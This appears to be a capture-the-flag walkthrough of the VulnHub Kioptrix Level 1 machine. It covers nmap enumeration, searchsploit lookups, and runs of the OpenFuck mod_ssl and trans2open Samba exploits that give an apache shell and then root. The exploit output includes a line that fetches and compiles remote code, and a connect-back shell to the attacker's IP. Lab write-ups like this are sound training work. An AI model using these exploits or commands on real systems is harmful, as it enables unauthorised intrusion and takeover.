Kioptrix level 1

Kioptrix level 1 is an Easy difficulty Linux machine of VulnHub. Here we will find two services, an http server and an SMB server. In this case, both can be used to get root directly.

ENUMERATION

At the begining i was unable to see the machine on my network so we have to:

Open Kioptix Level 1.vmx file in a text editor and modify the value of ethernet0.connectionType and ethernet0.networkName to “nat”.

Lets begin as always with an Nmap Scan:

target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 $target | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -Pn -sVC $target

Starting Nmap 7.92 ( https://nmap.org ) at 2022–07–19 06:06 CEST
Warning: 192.168.1.104 giving up on port because retransmission cap hit (2).
Nmap scan report for 192.168.1.104
Host is up (0.015s latency).
Not shown: 591 filtered tcp ports (no-response), 403 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd (workgroup: vsMYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp open status 1 (RPC #100024)
Device type: general purpose|media device|VoIP phone|WAP|broadband router
Running (JUST GUESSING): Linux 2.4.X (97%), LifeSize embedded (94%), ShoreTel embedded (94%), Belkin embedded (94%), Inventel embedded (94%), Telekom embedded (94%), USRobotics embedded (94%), ZTE embedded (94%)
OS CPE: cpe:/o:linux:linux_kernel:2.4 cpe:/h:shoretel:8800 cpe:/h:belkin:f5d7633 cpe:/h:inventel:livebox cpe:/h:telekom:sinus_1054 cpe:/h:usr:sureconnect_9105 cpe:/h:zte:zxdsl_831
Aggressive OS guesses: Linux 2.4.9–2.4.18 (likely embedded) (97%), Linux 2.4.18–2.4.35 (likely embedded) (94%), LifeSize video conferencing system or ShoreTel 8800 VoIP phone (Linux 2.4) (94%), Belkin F5D7633, Inventel Livebox, or T-Sinus 1054 wireless broadband router; or USRobotics SureConnect 9105 or ZTE ZXDSL 831 ADSL modem (94%), Brocade Fabric OS 4.4.0 (Linux 2.4.19) (93%), Linux 2.4.31 (Slackware v10.2) (93%), Linux 2.4.32 (x86) (93%), Linux 2.4.9 (Red Hat Enterprise Linux 2.1 AS) (93%), Linksys WRT610Nv3 WAP (93%), D-Link DSL-G624T wireless ADSL router (MontaVista embedded Linux 2.4.17), or Netgear DG834Bv3 ADSL router or DG834G WAP (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/

Let’s look at the web service in the port 80.

It is just a default server with not so much information except that it is an Apache server and it is installed in a Red Hat Linux flavor, thi confirms the Nmap results.

Using searchsploit to look into the results from Nmap we find a vulnerability on the mod_ssl of the Apache server.

searchsploit mod_ssl 2.8.4

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Exploit Title | Path
- - - - - - - - - - - - - - - - - - - - - - - - - - -
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1) | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) | unix/remote/47080.c
- - - - - - - - - - - - - - - - - - - - - - - - - - -

We find 3 versions of the OpenF… exploit.

We can download the source code of this exploit from

[embed]GitHub - heltonWernik/OpenLuck: OpenFuck exploit updated to linux 2018 - Apache mod_ssl < 2.8.7… Original is OpenFu&%$#, I change for something more elegant This Exploit ( https://www.exploit-db.com/exploits/764/)…*github.com

or from

[embed]OffSec's Exploit Database Archive Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow. CVE-2002-0082CVE-857 . remote exploit for Unix…www.exploit-db.com

The github version have an upgrade that allow us to get root automatically but since my vm of Kioptrix does not have internet access, the download of the ptrace-kmod.c file was not downloaded and i just got foothold.

EDITED 10/05/2023

I used Apache mod_ssl < 2.8.7 OpenSSL — ‘OpenFuckV2.c’ Remote Buffer Overflow (2) | unix/remote/47080.c from searchsploit and from there we have 2 choices:

1- Download the ptrace-kmod.c manually into your user shell after usong the exploit. Reset the machine to reactivate the server. Relaunch the exploit and you will have root.

2- Download the ptrace-kmod.c to your machine, use any http server to exposed it over HTTP. Modify the OpenFuckV2.c itself and just change the URL that is used to download the file and put your address. Use the exploit and you will have root.

EXPLOITATION

./oluck 0x6b 192.168.1.104 443 -c 40

*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
Connection… 40 of 40
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f81c8
Ready to send shellcode
Spawning shell…
bash: no job control in this shell
bash-2.05$
d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo
- 16:46:52 - https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> "ptrace-kmod.c"
Connecting to dl.packetstormsecurity.net:443… connected!
Unable to establish SSL connection.
Unable to establish SSL connection.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove "ptrace-kmod.c": No such file or directory

bash-2.05$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)

Since we could not validate the smb version before to look for an exploit, les see if we can do it internally.

bash-2.05$ locate smb

/usr/share/doc/samba-2.2.1a/docs/README.pam_smbpass

We can finally validate the version of the smb (2.2.1) and we will look for a known exploit for it.

searchsploit samba 2.2.1a

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Exploit Title | Path
- - - - - - - - - - - - - - - - - - - - - - - - - - -
Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit) | osx/remote/9924.rb
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution | multiple/remote/10.c
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

ROOT

Since OpenLuck does not worked for me and neither trans2open on Metasploit, i downloaded and compiled the C version of trans2open from github. Like many people, i coulded just do it using trans2open but the CTF are like that, they take you through rabit holes to make things “more complex” than they are.

[embed]GitHub - KernelPan1k/trans2open-CVE-2003-0201: Samba exploit CVE2003-0201 This exploits the buffer overflow found in Samba versions 2.2.0 to 2.2.8. This particular module is capable of…github.com

┌──(root㉿Attack)-[~]
└─# gcc -o trans2open trans2open.c
┌──(root㉿Attack)-[~]
└─# ls
trans2open trans2open.c
┌──(root㉿Attack)-[~]
└─# ./trans2open
Samba < 2.2.8 Remote Root exploit by Schizoprenic
Connect back method, Xnuxer-Labs, 2003.
Usage : ./trans2open <type> <victim> <your_ip>
Targets:
0 = Linux
1 = FreeBSD/NetBSD
2 = OpenBSD 3.0 and prior
3 = OpenBSD 3.2 - non-exec stack
┌──(root㉿Attack)-[~]
└─# ./trans2open 0 192.168.1.104 192.168.1.28
[+] Listen on port: 45295
[+] Connecting back to: [192.168.1.28:45295]
[+] Target: Linux
[+] Connected to [192.168.1.104:139]
[+] Please wait in seconds…!
[+] Yeah, I have a root ….!
- - - - - - - - - - - - - - -
Linux kioptrix.level1 2.4.7–10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)

TIP

To use SSH on Kioptrix we have to fix the compatibility issues betwen the server and our client.

Create the ~/.ssh/config file and on it we put this:

Host *
  Port 22
  Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc
  KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
  HostkeyAlgorithms +ssh-rsa,ssh-dss
  PubkeyAcceptedKeyTypes +ssh-rsa,ssh-dss
  MACs hmac-sha2–256,hmac-sha2–512,hmac-md5,hmac-sha1

Boom, we finished this machine in a very short time. Congrats and thanks for read!!